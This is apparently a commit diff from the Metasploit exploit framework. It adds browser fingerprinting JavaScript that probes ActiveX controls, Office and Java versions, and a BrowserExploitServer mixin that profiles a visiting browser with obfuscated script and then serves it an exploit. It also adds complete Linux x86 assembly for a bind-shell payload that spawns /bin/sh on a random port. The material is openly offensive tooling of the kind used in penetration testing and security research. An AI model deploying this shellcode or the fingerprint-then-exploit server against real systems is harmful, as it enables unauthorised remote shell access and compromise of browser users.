Solve conflicts with aladdin_choosefilepath_bof
commit
8771b163f0
|
@ -1,9 +1,47 @@
|
|||
window.addons_detect = { };
|
||||
window.ie_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns true if this ActiveX is available, otherwise false.
|
||||
* Grabbed this directly from browser_autopwn.rb
|
||||
**/
|
||||
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
|
||||
var axobj = null;
|
||||
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
|
||||
axobj = document.createElement("object");
|
||||
axobj.setAttribute("classid", "clsid:" + axo_name);
|
||||
axobj.setAttribute("id", axo_name);
|
||||
axobj.setAttribute("style", "visibility: hidden");
|
||||
axobj.setAttribute("width", "0px");
|
||||
axobj.setAttribute("height", "0px");
|
||||
document.body.appendChild(axobj);
|
||||
if (typeof(axobj[method]) == 'undefined') {
|
||||
var attributes = 'id="' + axo_name + '"';
|
||||
attributes += ' classid="clsid:' + axo_name + '"';
|
||||
attributes += ' style="visibility: hidden"';
|
||||
attributes += ' width="0px" height="0px"';
|
||||
document.body.innerHTML += "<object " + attributes + "></object>";
|
||||
axobj = document.getElementById(axo_name);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
axobj = new ActiveXObject(axo_name);
|
||||
} catch(e) {
|
||||
// If we can't build it with an object tag and we can't build it
|
||||
// with ActiveXObject, it can't be built.
|
||||
return false;
|
||||
};
|
||||
}
|
||||
if (typeof(axobj[method]) != 'undefined') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
/**
|
||||
* Returns the version of Microsoft Office. If not found, returns null.
|
||||
**/
|
||||
window.addons_detect.getMsOfficeVersion = function () {
|
||||
window.ie_addons_detect.getMsOfficeVersion = function () {
|
||||
var version;
|
||||
var types = new Array();
|
||||
for (var i=1; i <= 5; i++) {
|
|
@ -0,0 +1,64 @@
|
|||
window.misc_addons_detect = { };
|
||||
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
window.misc_addons_detect.getJavaVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// This finds the Java version from Java WebStart's ActiveX control
|
||||
// This is specific to Windows
|
||||
//
|
||||
for (var i1=0; i1 < 10; i1++) {
|
||||
for (var i2=0; i2 < 10; i2++) {
|
||||
for (var i3=0; i3 < 10; i3++) {
|
||||
for (var i4=0; i4 < 10; i4++) {
|
||||
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
|
||||
var progId = "JavaWebStart.isInstalled." + version;
|
||||
try {
|
||||
new ActiveXObject(progId);
|
||||
return version;
|
||||
}
|
||||
catch (e) {
|
||||
continue;
|
||||
}
|
||||
}}}}
|
||||
|
||||
//
|
||||
// This finds the Java version from window.navigator.mimeTypes
|
||||
// This seems to work pretty well for most browsers except for IE
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var m = /java.+;version=(.+)/.exec(mimes[i].type);
|
||||
if (m) {
|
||||
var version = parseFloat(m[1]);
|
||||
if (version > foundVersion) {
|
||||
foundVersion = version;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// This finds the Java version from navigator plugins
|
||||
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
|
||||
// So we do this last.
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var foundJavaString = "";
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Java/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
|
@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
|
|||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016720":
|
||||
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||
ua_version = "10.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "1000":
|
||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||
ua_version = "10.0";
|
||||
|
|
|
@ -1,25 +1,16 @@
|
|||
function ajax_download(oArg) {
|
||||
var method = oArg.method;
|
||||
var path = oArg.path;
|
||||
var data = oArg.data;
|
||||
if (!oArg.method) { oArg.method = "GET"; }
|
||||
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
||||
if (!oArg.data) { oArg.data = null; }
|
||||
|
||||
if (method == undefined) { method = "GET"; }
|
||||
if (method == path) { throw "Missing parameter 'path'"; }
|
||||
if (data == undefined) { data = null; }
|
||||
|
||||
if (window.XMLHttpRequest) {
|
||||
xmlHttp = new XMLHttpRequest();
|
||||
}
|
||||
else {
|
||||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(method, path, false);
|
||||
xmlHttp.send(data);
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
function postInfo(path, data) {
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open('POST', path, false);
|
||||
xmlHttp.send(data);
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
if (!window.XMLHTTPRequest) {
|
||||
(function() {
|
||||
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
||||
for (idx = 0; idx < activeObjs.length; idx++) {
|
||||
try {
|
||||
new ActiveXObject(activeObjs[idx]);
|
||||
window.XMLHttpRequest = function() {
|
||||
return new ActiveXObject(activeObjs[idx]);
|
||||
};
|
||||
break;
|
||||
}
|
||||
catch (e) {}
|
||||
}
|
||||
})();
|
||||
}
|
|
@ -1,10 +1,11 @@
|
|||
STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind_icmp \
|
||||
stager_egghunt stager_sock_find stager_sock_reverse \
|
||||
stager_sock_reverse_icmp stager_sock_reverse_udp \
|
||||
stager_egghunt stager_sock_find stager_sock_reverse \
|
||||
stager_sock_reverse_icmp stager_sock_reverse_udp \
|
||||
stager_sock_reverse_udp_dns
|
||||
STAGES=stage_tcp_shell stage_udp_shell
|
||||
SINGLE=single_adduser single_bind_tcp_shell single_find_tcp_shell \
|
||||
single_reverse_tcp_shell single_reverse_udp_shell single_exec
|
||||
single_reverse_tcp_shell single_reverse_udp_shell single_exec \
|
||||
single_shell_bind_tcp_random_port
|
||||
|
||||
OBJS=${STAGERS} ${STAGES} ${SINGLE}
|
||||
|
||||
|
@ -37,11 +38,11 @@ all: $(SINGLE) $(STAGES) $(STAGERS)
|
|||
@ruby -p -a -e ' \
|
||||
$$F.shift; \
|
||||
$$F[0].tap { |s| \
|
||||
s.tr! "A-F", "a-f"; \
|
||||
t=s.dup; \
|
||||
s.clear; \
|
||||
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
|
||||
STDIN.eof? ? s<< " # " : s<< "+# "; \
|
||||
s.tr! "A-F", "a-f"; \
|
||||
t=s.dup; \
|
||||
s.clear; \
|
||||
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
|
||||
STDIN.eof? ? s<< " # " : s<< "+# "; \
|
||||
}; \
|
||||
$$_ = $$F.join(" ") + "\n"; \
|
||||
' < $*.tmp > $@
|
||||
|
|
|
@ -0,0 +1,117 @@
|
|||
;;
|
||||
;
|
||||
; Name: single_shell_bind_tcp_random
|
||||
; Qualities: None
|
||||
; Platforms: Linux
|
||||
; Author: Geyslan G. Bem <geyslan@gmail.com>
|
||||
; License: BSD 3-Clause
|
||||
;
|
||||
; This file is part of the Metasploit Exploit Framework
|
||||
; and is subject to the same licenses and copyrights as
|
||||
; the rest of this package.
|
||||
;
|
||||
; Description:
|
||||
;
|
||||
; Listen for a connection in a random port and spawn a
|
||||
; command shell.
|
||||
; Use nmap to discover the open port: 'nmap -sS target -p-'.
|
||||
; Repo source: http://goo.gl/V5OObo
|
||||
;
|
||||
;;
|
||||
|
||||
bits 32
|
||||
|
||||
global _start
|
||||
|
||||
section .text
|
||||
|
||||
_start:
|
||||
; Avoiding garbage
|
||||
; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding
|
||||
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
|
||||
; syscalls (/usr/include/asm/unistd_32.h)
|
||||
; socketcall numbers (/usr/include/linux/net.h)
|
||||
|
||||
; Creating the socket file descriptor
|
||||
; int socket(int domain, int type, int protocol);
|
||||
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
|
||||
mov al, 102 ; syscall 102 - socketcall
|
||||
inc ebx ; socketcall type (sys_socket 1)
|
||||
|
||||
; socket arguments (bits/socket.h, netinet/in.h)
|
||||
push edx ; IPPROTO_IP = 0 (int)
|
||||
push ebx ; SOCK_STREAM = 1 (int)
|
||||
push 2 ; AF_INET = 2 (int)
|
||||
|
||||
mov ecx, esp ; ptr to argument array
|
||||
|
||||
int 0x80 ; kernel interruption
|
||||
|
||||
|
||||
; Preparing to listen the incoming connection (passive socket)
|
||||
; int listen(int sockfd, int backlog);
|
||||
; listen(sockfd, int);
|
||||
|
||||
; listen arguments
|
||||
push edx ; put zero
|
||||
push eax ; put the file descriptor returned by socket()
|
||||
mov ecx, esp ; ptr to argument array
|
||||
|
||||
mov al, 102 ; syscall 102 - socketcall
|
||||
mov bl, 4 ; socketcall type (sys_listen 4)
|
||||
|
||||
int 0x80 ; kernel interruption
|
||||
|
||||
|
||||
; Accepting the incoming connection
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
; accept(sockfd, NULL, NULL)
|
||||
|
||||
mov al, 102 ; syscall 102 - socketcall
|
||||
inc ebx ; socketcall type (sys_accept 5)
|
||||
|
||||
; accept arguments ; here we just don't need do nothing, the ecx already points to sockfd, NULL and 2
|
||||
; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D)
|
||||
|
||||
int 0x80 ; kernel interruption
|
||||
|
||||
|
||||
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
|
||||
; int dup2(int oldfd, int newfd);
|
||||
; dup2(clientfd, ...)
|
||||
|
||||
pop ecx ; pop the sockfd integer to use as the loop counter ecx
|
||||
xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
|
||||
|
||||
dup_loop:
|
||||
push 63 ; syscall 63 - dup2
|
||||
pop eax
|
||||
|
||||
int 0x80 ; kernel interruption
|
||||
|
||||
dec ecx ; file descriptor and loop counter
|
||||
|
||||
jns dup_loop
|
||||
|
||||
|
||||
; Finally, using execve to substitute the actual process with /bin/sh
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
; exevcve("/bin/sh", NULL, NULL)
|
||||
|
||||
mov al, 11 ; execve syscall
|
||||
|
||||
; execve string argument
|
||||
; stack already contains NULL on top
|
||||
push 0x68732f2f ; "//sh"
|
||||
push 0x6e69622f ; "/bin"
|
||||
|
||||
mov ebx, esp ; ptr to "/bin//sh" string
|
||||
|
||||
inc ecx ; zero to argv
|
||||
; zero to envp (edx)
|
||||
|
||||
int 0x80
|
|
@ -149,6 +149,9 @@ module Exploit::Remote::HttpServer
|
|||
# ServerPort => Override the server port to listen on (default to SRVPORT).
|
||||
# Uri => The URI to handle and the associated procedure to call.
|
||||
#
|
||||
#
|
||||
# TODO: This must be able to take an SSL parameter and not rely
|
||||
# completely on the datastore. (See dlink_upnp_exec_noauth)
|
||||
def start_service(opts = {})
|
||||
|
||||
check_dependencies
|
||||
|
@ -172,7 +175,7 @@ module Exploit::Remote::HttpServer
|
|||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
datastore['SSL'], # XXX: Should be in opts, need to test this
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
|
@ -678,14 +681,6 @@ protected
|
|||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||||
], Exploit::Remote::HttpServer::HTML)
|
||||
|
||||
# Cache Javascript
|
||||
@cache_base64 = nil
|
||||
@cache_ajax_download = nil
|
||||
@cache_mstime_malloc = nil
|
||||
@cache_property_spray = nil
|
||||
@cache_heap_spray = nil
|
||||
@cache_os_detect = nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -744,6 +739,14 @@ protected
|
|||
end
|
||||
|
||||
|
||||
#
|
||||
# Transfers data using a POST request
|
||||
#
|
||||
def js_ajax_post
|
||||
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||||
|
@ -813,6 +816,14 @@ protected
|
|||
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
|
||||
end
|
||||
|
||||
def js_ie_addons_detect
|
||||
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
|
||||
end
|
||||
|
||||
def js_misc_addons_detect
|
||||
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
|
||||
end
|
||||
|
||||
# Transmits a html response to the supplied client
|
||||
#
|
||||
# HTML evasions are implemented here.
|
||||
|
|
|
@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
|
|||
|
||||
# WebApp
|
||||
require 'msf/core/exploit/web'
|
||||
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
|
|
|
@ -0,0 +1,503 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'erb'
|
||||
require 'rex/exploitation/js'
|
||||
|
||||
###
|
||||
#
|
||||
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
|
||||
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
|
||||
#
|
||||
###
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::BrowserExploitServer
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
PROXY_REQUEST_HEADER_SET = Set.new(
|
||||
%w{
|
||||
CLIENT_IP
|
||||
FORWARDED
|
||||
FORWARDED_FOR
|
||||
FORWARDED_FOR_IP
|
||||
HTTP_CLIENT_IP
|
||||
HTTP_FORWARDED
|
||||
HTTP_FORWARDED_FOR
|
||||
HTTP_FORWARDED_FOR_IP
|
||||
HTTP_PROXY_CONNECTION
|
||||
HTTP_VIA
|
||||
HTTP_X_FORWARDED
|
||||
HTTP_X_FORWARDED_FOR
|
||||
VIA
|
||||
X_FORWARDED
|
||||
X_FORWARDED_FOR
|
||||
})
|
||||
|
||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||
REQUIREMENT_KEY_SET = {
|
||||
:source => 'source', # Either 'script' or 'headers'
|
||||
:ua_name => 'ua_name', # Example: MSIE
|
||||
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
|
||||
:os_name => 'os_name', # Example: Microsoft Windows
|
||||
:os_flavor => 'os_flavor', # Example: XP, 7
|
||||
:language => 'language', # Example: en-us
|
||||
:arch => 'arch', # Example: x86
|
||||
:proxy => 'proxy', # 'true' or 'false'
|
||||
:office => 'office', # Example: "2007", "2010"
|
||||
:java => 'java', # Example: 1.6, 1.6.0.0
|
||||
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
|
||||
:method => 'method' # ActiveX method. Also requires the :clsid key
|
||||
}
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
# The mixin keeps 'target' so module doesn't lose it.
|
||||
@target = target
|
||||
|
||||
# See get_profile's documentation to understand what @target_profiles stores
|
||||
@target_profiles = {}
|
||||
|
||||
# Requirements are conditions that the browser must have in order to be exploited.
|
||||
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
|
||||
|
||||
@info_receiver_page = rand_text_alpha(5)
|
||||
@exploit_receiver_page = rand_text_alpha(6)
|
||||
@noscript_receiver_page = rand_text_alpha(7)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
|
||||
], Exploit::Remote::BrowserExploitServer)
|
||||
end
|
||||
|
||||
#
|
||||
# Syncs a block of code
|
||||
#
|
||||
# @param block [Proc] Block of code to sync
|
||||
#
|
||||
def sync(&block)
|
||||
(@mutex ||= Mutex.new).synchronize(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||
#
|
||||
# @return [String] URI to the exploit page
|
||||
#
|
||||
def get_module_resource
|
||||
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the current target
|
||||
#
|
||||
def get_target
|
||||
@target
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of recognizable requirements
|
||||
#
|
||||
# @param reqs [Hash] A hash that contains data for the requirements
|
||||
# @return [Hash] A hash of requirements
|
||||
#
|
||||
def extract_requirements(reqs)
|
||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
|
||||
# Make sure keys are always symbols
|
||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the target automatically based on what requirements are met.
|
||||
# If there's a possible matching target, it will also merge the requirements.
|
||||
# You can use the get_target() method to retrieve the most current target.
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
#
|
||||
def try_set_target(profile)
|
||||
match_counts = []
|
||||
target_requirements = {}
|
||||
|
||||
targets.each do |t|
|
||||
target_requirements = extract_requirements(t.opts)
|
||||
if target_requirements.blank?
|
||||
match_counts << 0
|
||||
else
|
||||
match_counts << target_requirements.select { |k,v|
|
||||
if v.class == Regexp
|
||||
profile[k] =~ v
|
||||
else
|
||||
profile[k] == v
|
||||
end
|
||||
}.length
|
||||
end
|
||||
end
|
||||
|
||||
if match_counts.max.to_i > 0
|
||||
@target = targets[match_counts.index(match_counts.max)]
|
||||
target_requirements = extract_requirements(@target.opts)
|
||||
unless target_requirements.blank?
|
||||
@requirements = @requirements.merge(target_requirements)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of items that do not meet the requirements
|
||||
#
|
||||
# @param profile [Hash] The profile to check
|
||||
# @return [Array] An array of requirements not met
|
||||
#
|
||||
def get_bad_requirements(profile)
|
||||
bad_reqs = []
|
||||
|
||||
# At this point the check is already done.
|
||||
# If :activex is true, that means the clsid + method had a match,
|
||||
# if not, then false.
|
||||
if @requirements[:clsid] and @requirements[:method]
|
||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
||||
end
|
||||
|
||||
@requirements.each do |k, v|
|
||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
||||
next if k == :clsid or k == :method
|
||||
|
||||
if v.class == Regexp
|
||||
bad_reqs << k if profile[k.to_sym] !~ v
|
||||
else
|
||||
bad_reqs << k if profile[k.to_sym] != v
|
||||
end
|
||||
end
|
||||
|
||||
bad_reqs
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||
# 'cookie' =>
|
||||
# {
|
||||
# :os_name => 'Windows',
|
||||
# :os_flavor => 'something'
|
||||
# ...... etc ......
|
||||
# }
|
||||
# A profile should at least have info about the following:
|
||||
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
|
||||
# should be more accurate in some scenarios like browser compatibility mode
|
||||
# :ua_name : The name of the browser
|
||||
# :ua_ver : The version of the browser
|
||||
# :os_name : The name of the OS
|
||||
# :os_flavor : The flavor of the OS (example: XP)
|
||||
# :language : The system's language
|
||||
# :arch : The system's arch
|
||||
# :proxy : Indicates whether proxy is used
|
||||
#
|
||||
# For more info about what the actual value might be for each key, see HttpServer.
|
||||
#
|
||||
# If the source is 'script', the profile might have even more information about plugins:
|
||||
# 'office' : The version of Microsoft Office (IE only)
|
||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
||||
# 'java' : The Java version
|
||||
#
|
||||
# @param tag [String] Either a cookie or IP + User-Agent
|
||||
# @return [Hash] The profile found. If not found, returns nil
|
||||
#
|
||||
def get_profile(tag)
|
||||
sync do
|
||||
return @target_profiles[tag]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Updates information for a specific profile
|
||||
#
|
||||
# @param target_profile [Hash] The profile to update
|
||||
# @param key [Symbol] The symbol to use for the hash
|
||||
# @param value [String] The value to assign
|
||||
#
|
||||
def update_profile(target_profile, key, value)
|
||||
sync do
|
||||
target_profile[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a profile
|
||||
#
|
||||
# @param tag [String] A unique string as a way to ID the profile
|
||||
#
|
||||
def init_profile(tag)
|
||||
sync do
|
||||
@target_profiles[tag] = {}
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves a tag.
|
||||
# First it obtains the tag from the browser's "Cookie" header.
|
||||
# If the header is empty (possible if the browser has cookies disabled),
|
||||
# then it will return a tag based on IP + the user-agent.
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def retrieve_tag(request)
|
||||
tag = request.headers['Cookie'].to_s
|
||||
|
||||
if tag.blank?
|
||||
# Browser probably doesn't allow cookies, plan B :-/
|
||||
ip = cli.peerhost
|
||||
os = request.headers['User-Agent']
|
||||
tag = Rex::Text.md5("#{ip}#{os}")
|
||||
end
|
||||
|
||||
tag
|
||||
end
|
||||
|
||||
#
|
||||
# Registers target information to @target_profiles
|
||||
#
|
||||
# @param source [Symbol] Either :script, or :headers
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def process_browser_info(source, cli, request)
|
||||
tag = retrieve_tag(request)
|
||||
|
||||
# Browser doesn't allow cookies. Can't track that, use a different way to track.
|
||||
init_profile(tag) if request.headers['Cookie'].blank?
|
||||
target_info = get_profile(tag)
|
||||
|
||||
# Gathering target info from the detection stage
|
||||
case source
|
||||
when :script
|
||||
# Gathers target data from a POST request
|
||||
update_profile(target_info, :source, 'script')
|
||||
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
|
||||
raw.split('&').each do |item|
|
||||
k, v = item.scan(/(\w+)=(.*)/).flatten
|
||||
update_profile(target_info, k.to_sym, v)
|
||||
end
|
||||
|
||||
when :headers
|
||||
# Gathers target data from headers
|
||||
# This may be less accurate, and most likely less info.
|
||||
fp = fingerprint_user_agent(request.headers['User-Agent'])
|
||||
# Module has all the info it needs, ua_string is kind of pointless.
|
||||
# Kill this to save space.
|
||||
fp.delete(:ua_string)
|
||||
update_profile(target_info, :source, 'headers')
|
||||
fp.each do |k, v|
|
||||
update_profile(target_info, k.to_sym, v)
|
||||
end
|
||||
end
|
||||
|
||||
# Other detections
|
||||
update_profile(target_info, :proxy, has_proxy?(request))
|
||||
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
|
||||
|
||||
report_client({
|
||||
:host => cli.peerhost,
|
||||
:ua_string => request.headers['User-Agent'],
|
||||
:ua_name => target_info[:ua_name],
|
||||
:ua_ver => target_info[:ua_ver]
|
||||
})
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the target is running a proxy
|
||||
#
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @return [Boolean] True if found, otherwise false
|
||||
#
|
||||
def has_proxy?(request)
|
||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||
!proxy_header_set.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the code for client-side detection
|
||||
#
|
||||
# @param user_agent [String] The user-agent of the browser
|
||||
# @return [String] Returns the HTML for detection
|
||||
#
|
||||
def get_detection_html(user_agent)
|
||||
ua_info = fingerprint_user_agent(user_agent)
|
||||
os = ua_info[:os_name]
|
||||
client = ua_info[:ua_name]
|
||||
|
||||
code = ERB.new(%Q|
|
||||
<%= js_base64 %>
|
||||
<%= js_os_detect %>
|
||||
<%= js_ajax_post %>
|
||||
<%= js_misc_addons_detect %>
|
||||
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||
|
||||
function objToQuery(obj) {
|
||||
var q = [];
|
||||
for (var key in obj) {
|
||||
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
|
||||
}
|
||||
return Base64.encode(q.join('&'));
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
var osInfo = window.os_detect.getVersion();
|
||||
var d = {
|
||||
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
|
||||
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
|
||||
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
|
||||
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
|
||||
};
|
||||
|
||||
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
|
||||
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
|
||||
<%
|
||||
clsid = @requirements[:clsid]
|
||||
method = @requirements[:method]
|
||||
if clsid and method
|
||||
%>
|
||||
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||
<% end %>
|
||||
<% end %>
|
||||
|
||||
var query = objToQuery(d);
|
||||
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
|
||||
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
|
||||
}
|
||||
|).result(binding())
|
||||
|
||||
js = ::Rex::Exploitation::JSObfu.new code
|
||||
js.obfuscate
|
||||
|
||||
%Q|
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
<noscript>
|
||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
|
||||
</noscript>
|
||||
|
|
||||
end
|
||||
|
||||
#
|
||||
# Handles exploit stages.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
case request.uri
|
||||
when get_resource.chomp("/")
|
||||
#
|
||||
# This is the information gathering stage
|
||||
#
|
||||
if get_profile(retrieve_tag(request))
|
||||
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Gathering target information.")
|
||||
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
||||
ua = request.headers['User-Agent']
|
||||
init_profile(tag)
|
||||
html = get_detection_html(ua)
|
||||
send_response(cli, html, {'Set-Cookie' => tag})
|
||||
|
||||
when /#{@info_receiver_page}/
|
||||
#
|
||||
# The detection code will hit this if Javascript is enabled
|
||||
#
|
||||
process_browser_info(source=:script, cli, request)
|
||||
send_response(cli, '')
|
||||
|
||||
when /#{@noscript_receiver_page}/
|
||||
#
|
||||
# The detection code will hit this instead of Javascript is disabled
|
||||
# Should only be triggered by the img src in <noscript>
|
||||
#
|
||||
process_browser_info(source=:headers, cli, request)
|
||||
send_not_found(cli)
|
||||
|
||||
when /#{@exploit_receiver_page}/
|
||||
#
|
||||
# This sends the actual exploit. A module should define its own
|
||||
# on_request_exploit() to get the target information
|
||||
#
|
||||
tag = retrieve_tag(request)
|
||||
profile = get_profile(tag)
|
||||
if profile[:tried] and datastore['Retries'] == false
|
||||
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
|
||||
send_not_found(cli)
|
||||
else
|
||||
update_profile(profile, :tried, true)
|
||||
try_set_target(profile)
|
||||
bad_reqs = get_bad_requirements(profile)
|
||||
if bad_reqs.empty?
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
else
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
